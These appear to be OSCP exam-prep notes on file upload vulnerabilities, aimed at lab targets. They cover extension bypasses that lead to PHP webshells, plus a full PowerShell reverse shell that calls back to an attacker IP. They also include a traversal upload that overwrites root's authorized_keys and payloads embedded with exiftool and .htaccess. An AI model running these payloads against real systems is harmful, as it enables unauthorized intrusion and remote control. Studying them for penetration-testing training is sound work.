// notes/ Web Exploitation
📤

File Upload Vulnerabilities

Extension/content-type bypasses to webshell, and directory-traversal writes (overwrite authorized_keys).

#web#file upload#webshell#bypass
source · airouboss/oscp-prep-notes-2026 · web/file-upload.md

File Upload Vulnerabilities

If you can upload an executable file into the web root, you get RCE. If the app only allows "safe" files, you may still write outside the web root via directory traversal in the filename.

Executable upload → webshell

🐺 howlsec@kali
$ls -la /usr/share/webshells # available webshells
$echo "this is a test" > test.txt # baseline upload test
$
$# Upload a PHP webshell, e.g. /usr/share/webshells/php/simple-backdoor.php

Extension-filter bypass

Swap to a less-common PHP extension (.phps, .php7, mixed case .pHP) to slip past filters that only block .php/.phtml.

🐺 howlsec@kali
$curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir
$
$# Encode a PowerShell reverse shell for a clean one-liner
$pwsh
$$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.154",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$[Convert]::ToBase64String($Bytes)
$exit
$
$nc -nvlp 4444
$curl "http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20<BASE64>"

Non-executable files → directory traversal write

Even when only "harmless" files are allowed, test whether the filename accepts a relative path — you may be able to overwrite files outside the web root.

Tips: upload the same file twice — "already exists" vs an error message leaks server behavior/tech. Then try ../../../../../../../test.txt in the filename field (via Burp Repeater/Intercept).

Overwrite root's authorized_keys

🐺 howlsec@kali
$# Generate a keypair on Kali
$ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa
$# In Burp, set the upload filename to a traversal path:
$Content-Disposition: form-data; name="myFile"; filename="../../../../../../../../root/.ssh/authorized_keys"
$
$# Upload your public key as authorized_keys, then log in
$rm ~/.ssh/known_hosts
$ssh -p 2222 -i fileup root@mountaindesserts.com

Other bypasses

Double extensions (shell.php.jpg / shell.jpg.php), magic-byte disguise (GIF89a; before the PHP), metadata payloads (exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg), .htaccess override (AddType application/x-httpd-php .evil), and Content-Type header tampering all defeat different filters.